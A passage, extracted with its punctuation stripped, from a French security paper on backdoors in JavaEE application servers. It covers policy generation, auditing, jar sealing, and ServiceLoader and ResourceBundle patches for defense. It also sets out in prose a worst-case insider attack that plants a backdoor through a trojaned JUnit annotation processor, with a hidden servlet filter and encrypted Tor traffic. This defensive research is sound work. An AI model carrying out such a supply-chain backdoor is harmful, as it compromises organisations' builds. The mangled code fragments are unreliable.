$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

